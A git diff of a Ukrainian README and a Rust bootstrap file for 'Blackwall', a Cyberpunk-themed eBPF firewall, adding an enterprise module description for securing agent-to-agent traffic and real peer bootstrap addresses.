+AI-агенти починають спілкуватись між собою — LLM-to-LLM, через MCP, A2A-протокол, агентні фреймворки. Це нова поверхня атаки: prompt injection через міжагентну комунікацію, підробка інтентів, крадіжка ідентичності агентів. На ринку нічого для цього нема. Blackwall Enterprise — перший і єдиний такий модуль.
+
+**~8,400 рядків Rust.** Окреме репо, окрема ліцензія.
+
+| Компонент | Що робить |
+|-----------|-----------|
+| **A-JWT Валідація** | Верифікація Agentic JWT за IETF-драфтом. Перевірка підпису через `ring`, запобігання реплею, кешування ключів |
+| **Верифікація інтентів** | Вичерпний матчинг полів — `max_amount`, `allowed_recipients` (glob), allowlist дій |
+| **Чексума агента** | SHA256(system_prompt + tools_config) — темперинг = миттєвий блок |
+| **Proof-of-Possession** | cnf/jwk ECDSA-прив'язка — доводить, що агент тримає свій ключ |
+| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехоплює A2A-плейнтекст без розриву TLS |
+| **Risk-Based Routing** | Конфігуровані policy: allow / review / block по рівню ризику |
+| **ZK Proofs** | Атестація порушень без розкриття сирого трафіку (Groth16) |
+| **P2P Gossip** | Proof порушень броадкастяться в HiveMind-меш |
+
+**Ліцензування:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
+
+---
+
+## Статистика
+
+```
+Мова: 100% Rust
+Всього: ~21,200 рядків
+Файлів: 92 .rs
+Крейтів: 10
+Тестів: 298
+unwrap(): 0 в проді
+Залежностей: 22 (проаудитовані)
+eBPF-стек: ≤ 512 байт завжди
+Clippy: -D warnings, нуль проблем
+CI: check + clippy + tests + eBPF nightly build
+```
+
+---
+
+## Кіберпанк-довідка
+
+| Cyberpunk 2077 | Цей проект |
+|----------------|-----------|
+| The Blackwall | Файрвол на рівні ядра eBPF/XDP |
+| ICE | XDP fast-path: ентропія + JA4 + DPI + DNAT |
+| Демони | LLM-тарпіт — фейковий сервер за стіною |
+| NetWatch | Поведінковий движок + автомат по IP |
+| Rogue AIs | Ботнети, сканери, C2-бікони |
+| Braindance | PCAP-форензіка |
+| Колектив нетраннерів | HiveMind P2P-меш |
+| Інфа від фіксерів | Загрозові фіди |
+| Arasaka C&C | Розподілений контролер |
+
+---
## Дисклеймер
-Це дослідницький проєкт у сфері безпеки. Створений для вашої власної інфраструктури, в оборонних цілях. Не використовуйте для атак на інших. Не розгортайте тарпіт на продакшн-серверах, не розуміючи наслідків.
+Дослідницький проект у сфері безпеки. Для захисту вашої власної інфраструктури. Не використовуйте проти інших.
-Я не афілійований із CD Projekt Red. Я просто зіграв у їхню гру, і вона зламала мені мозок у найкращий можливий спосіб.
+Не афілійований з CD Projekt Red. Просто гра, яка перекроїла мій мозок найкращим чином.
------
+---
## Ліцензія
-BSL 1.1 — бо Мережа потребує і свободи, і сталого розвитку.
+**BSL 1.1** (Business Source License)
------
+Ліцензіар: Vladyslav Soliannikov
+Change Date: April 8, 2030
+Change License: Apache-2.0
+
+---
-Хочеш, щоб це розвивалось далі? — Постав зірку!
+Подобається? Став зірку
-"Прокинься, самураю. Нам ще мережу захищати."
-
\ No newline at end of file
+"Прокинься, самурай. Маємо мережу захищати."
+
diff --git a/hivemind/src/bootstrap.rs b/hivemind/src/bootstrap.rs
index d34714e..593c5b9 100755
--- a/hivemind/src/bootstrap.rs
+++ b/hivemind/src/bootstrap.rs
@@ -48,18 +48,14 @@ pub fn is_routable_addr(addr: &Multiaddr) -> bool {
/// Users can disable them by setting `bootstrap.use_default_nodes = false`.
///
/// IMPORTANT: Update these when deploying new bootstrap infrastructure.
-/// Format: "/dns4//udp/4001/quic-v1/p2p/"
-///
-/// Placeholder entries below — replace with real VPS PeerIds after
-/// first deployment. The nodes won't connect until real PeerIds exist,
-/// which is safe (they just log a warning and fall back to mDNS).
+/// Format: "/ip4//udp/4001/quic-v1/p2p/"
pub const DEFAULT_BOOTSTRAP_NODES: &[&str] = &[
- // EU-West (Amsterdam) — primary bootstrap
- // "/dns4/boot-eu1.blackwall.network/udp/4001/quic-v1/p2p/",
- // US-East (New York) — secondary bootstrap
- // "/dns4/boot-us1.blackwall.network/udp/4001/quic-v1/p2p/",
- // AP-South (Singapore) — tertiary bootstrap
- // "/dns4/boot-ap1.blackwall.network/udp/4001/quic-v1/p2p/",
+ // EU-West (OVH France) — primary bootstrap
+ "/ip4/135.125.234.128/udp/4001/quic-v1/p2p/12D3KooWGb9Nkhao6qKdfQPD3yxyktbDAyDunngMGcyxM7VLg74b",
+ // EU-West (OVH France) — secondary bootstrap
+ "/ip4/57.128.255.94/udp/4001/quic-v1/p2p/12D3KooWDW6kR7SX5RZyaUUokEdeWKMVyAyF8KNedxvhagDPUrW7",
+ // NA-East (OVH Canada) — tertiary bootstrap
+ "/ip4/158.69.194.27/udp/4001/quic-v1/p2p/12D3KooWDeZf7zKtFU2DEzbuUpNPQ5d3Cjvw5rbRXKA7eF4vk4JF",
];
/// Connect to bootstrap nodes (default + user-configured) and initiate